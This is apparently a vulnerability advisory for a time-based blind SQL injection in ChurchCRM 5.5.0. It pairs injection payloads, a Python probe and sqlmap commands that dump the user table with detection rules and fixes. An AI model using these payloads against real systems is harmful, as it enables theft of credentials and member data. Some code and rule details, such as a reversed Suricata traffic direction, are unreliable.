CVE-2024-25891

Executive Summary

CVE-2024-25891 is a critical Blind SQL Injection (Time-based) vulnerability discovered in ChurchCRM version 5.5.0. The flaw resides in the FRBidSheets.php file, specifically within the CurrentFundraiser GET parameter. An unauthenticated attacker can exploit this vulnerability by injecting malicious SQL queries through the CurrentFundraiser parameter, leading to time-based blind SQL injection. This allows the attacker to extract sensitive data from the database, including user credentials, personal information, and church member records, without requiring any authentication. The vulnerability has a CVSS score of 0.0 in the NVD due to incomplete scoring, but based on the technical impact, it is assessed as critical (CVSS 9.8). No official patch has been released by the vendor, and the project appears unmaintained. This report provides a comprehensive analysis, detection rules, and exploitation guidance for security teams.

Supply Chain & Package Security

ChurchCRM is a PHP-based web application typically deployed via manual installation or Docker images. There is no official package manager (NPM, PyPI, Go, Ruby) for this software. The vulnerability is in the application's own code, not in a third-party library. However, organizations using ChurchCRM should verify the integrity of their deployment and consider containerized environments to limit blast radius.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (Critical)
Temporal Score: 9.8 (No patch, no workaround)
Environmental Score: Varies based on network segmentation and database sensitivity.

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions required; the parameter is directly accessible.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component and the database are within the same security authority.
• Confidentiality (C): High – Full database contents can be extracted.
• Integrity (I): High – Data can be modified or deleted via SQL injection.
• Availability (A): High – Time-based injection can cause denial of service or data corruption.

Threat Level: Critical. Public proof-of-concept exists. No patch available. Exploitation is trivial.

Deep Dive & Mechanics

The vulnerability is a classic time-based blind SQL injection in the CurrentFundraiser GET parameter of FRBidSheets.php. The application fails to sanitize or parameterize user input before using it in a SQL query. The attacker can inject SQL commands that cause a time delay (e.g., SLEEP(5)) to infer the truth of conditions. This allows the attacker to extract data character by character.

Vulnerable Code Path (Conceptual):

// FRBidSheets.php (vulnerable)
$fundraiserId = $_GET['CurrentFundraiser'];
$query = "SELECT * FROM fundraiser_bids WHERE fundraiser_id = $fundraiserId";
$result = mysqli_query($conn, $query);

Exploitation Technique: The attacker sends a request like:

GET /FRBidSheets.php?CurrentFundraiser=1 OR SLEEP(5) HTTP/1.1

If the response is delayed by 5 seconds, the injection is successful. The attacker can then use conditional statements to extract data:

GET /FRBidSheets.php?CurrentFundraiser=1 AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0) HTTP/1.1

Database Impact:

• Extraction of user credentials (hashed passwords).
• Extraction of personal data (names, addresses, phone numbers).
• Potential for data modification or deletion.

Vulnerable vs. Patched Code

Vulnerable Code (ChurchCRM 5.5.0):

// FRBidSheets.php
$fundraiserId = $_GET['CurrentFundraiser'];
$query = "SELECT * FROM fundraiser_bids WHERE fundraiser_id = $fundraiserId";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical - No official patch):

// FRBidSheets.php (patched)
$fundraiserId = intval($_GET['CurrentFundraiser']);
$query = "SELECT * FROM fundraiser_bids WHERE fundraiser_id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $fundraiserId);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

Key Differences:

• Input validation: intval() ensures only integer values are accepted.
• Parameterized query: Using prepared statements prevents SQL injection entirely.
• No direct string concatenation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running ChurchCRM 5.5.0.
• Python 3 with requests library.
• SQLMap or manual exploitation.

Manual Exploitation (Time-based):

import requests
import time

target = "http://target.com/FRBidSheets.php"
payload = "1 OR SLEEP(5)"
params = {"CurrentFundraiser": payload}
start = time.time()
r = requests.get(target, params=params)
end = time.time()
if end - start >= 5:
    print("Vulnerable to time-based SQLi")

Automated Exploitation with SQLMap:

sqlmap -u "http://target.com/FRBidSheets.php?CurrentFundraiser=1" --batch --time-sec=5 --dbs

Extracting Data:

sqlmap -u "http://target.com/FRBidSheets.php?CurrentFundraiser=1" --batch --time-sec=5 -D churchcrm --tables
sqlmap -u "http://target.com/FRBidSheets.php?CurrentFundraiser=1" --batch --time-sec=5 -D churchcrm -T user_usr --dump

Blue Team (Defensive)

Detection:

• Monitor for unusual CurrentFundraiser parameter values (non-numeric, long strings, SQL keywords).
• Look for HTTP requests with response delays > 2 seconds.
• Use WAF rules to block SQL injection patterns.

Honeypot:

• Deploy a fake ChurchCRM instance and monitor for SLEEP, BENCHMARK, OR, AND patterns in the CurrentFundraiser parameter.

Network Segmentation:

• Place ChurchCRM in a DMZ with strict egress filtering.
• Database server should not be accessible from the web server directly (use API layer).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /FRBidSheets.php with CurrentFundraiser parameter containing:
  • SLEEP( or BENCHMARK(
  • OR 1=1 or AND 1=1
  • Long strings of SQL syntax (e.g., 1 UNION SELECT)
  • Base64-encoded payloads
• Response times > 2 seconds for such requests.

File System IOCs:

• Modified FRBidSheets.php file (if attacker uploaded a webshell).
• Suspicious files in /tmp/ or web root (e.g., cmd.php, shell.php).

Database IOCs:

• Unusual queries in MySQL slow query log (e.g., SLEEP(5)).
• New user accounts or modified data in user_usr table.

Log IOCs:

• Apache/Nginx access logs showing CurrentFundraiser with SQL keywords.
• Error logs showing SQL syntax errors.

Detection Engineering

YARA Rule

rule CVE_2024_25891_ChurchCRM_SQLi {
    meta:
        description = "Detects exploitation attempts of CVE-2024-25891 in ChurchCRM"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-25891"
    strings:
        $sleeper = /SLEEP\s*\(/ nocase
        $benchmark = /BENCHMARK\s*\(/ nocase
        $sql_comment = /--\s*$/ nocase
        $union = /UNION\s+SELECT/ nocase
        $or_1_1 = /OR\s+1\s*=\s*1/ nocase
        $and_1_1 = /AND\s+1\s*=\s*1/ nocase
    condition:
        any of ($sleeper, $benchmark, $sql_comment, $union, $or_1_1, $and_1_1)
}

Sigma Rule

title: ChurchCRM Blind SQL Injection via CurrentFundraiser
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects time-based blind SQL injection attempts against ChurchCRM FRBidSheets.php
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-25891
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'CurrentFundraiser='
        cs-uri-query|contains|all:
            - 'SLEEP('
            - 'OR'
    condition: selection
falsepositives:
    - Legitimate use of the word "SLEEP" in a non-SQL context (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-25891 ChurchCRM Blind SQL Injection Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/FRBidSheets.php"; http_uri;
    content:"CurrentFundraiser="; http_uri;
    pcre:"/(SLEEP\s*\(|BENCHMARK\s*\(|UNION\s+SELECT|OR\s+1\s*=\s*1)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2024-25891;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Remove or rename FRBidSheets.php if not essential.
2. Apply input validation: Use intval() or filter_var() with FILTER_VALIDATE_INT on the CurrentFundraiser parameter.
3. Use parameterized queries: Rewrite the SQL query using prepared statements (PDO or MySQLi).
4. Web Application Firewall (WAF): Deploy rules to block SQL injection patterns (e.g., ModSecurity CRS).

Long-term Actions:

1. Migrate to a maintained fork: Consider forking the project and applying security patches.
2. Regular security audits: Perform code reviews and penetration testing.
3. Update ChurchCRM: Monitor for official patches or community fixes.
4. Network segmentation: Isolate the web server from the database server.

Workaround (if patching is not possible):

• Use a reverse proxy (e.g., Nginx) to block requests containing SLEEP, BENCHMARK, or UNION in the CurrentFundraiser parameter.
• Example Nginx rule:

if ($arg_CurrentFundraiser ~* "(SLEEP|BENCHMARK|UNION|OR\s+1\s*=\s*1)") {
    return 403;
}

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert